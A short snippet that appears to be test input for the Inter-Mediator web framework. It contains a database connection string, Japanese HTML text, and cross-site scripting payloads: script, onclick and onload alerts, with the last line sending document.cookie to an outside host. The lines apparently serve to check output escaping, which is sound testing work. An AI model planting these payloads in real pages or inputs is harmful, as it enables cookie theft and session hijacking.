mysql:host=localhost;dbname=test_db;charset=utf8mb4
<span style="color:red">赤い文字</span>黒い文字
<script>window.alert('OK1');</script>
<button onclick="alert('OK2')">OK</button>
<img src="https://inter-mediator.com/images/20140123-inter-mediator-logo-w174.png" onload="alert(document.cookie)">
location.href = 'https://server.msyk.net/?d=' + document.cookie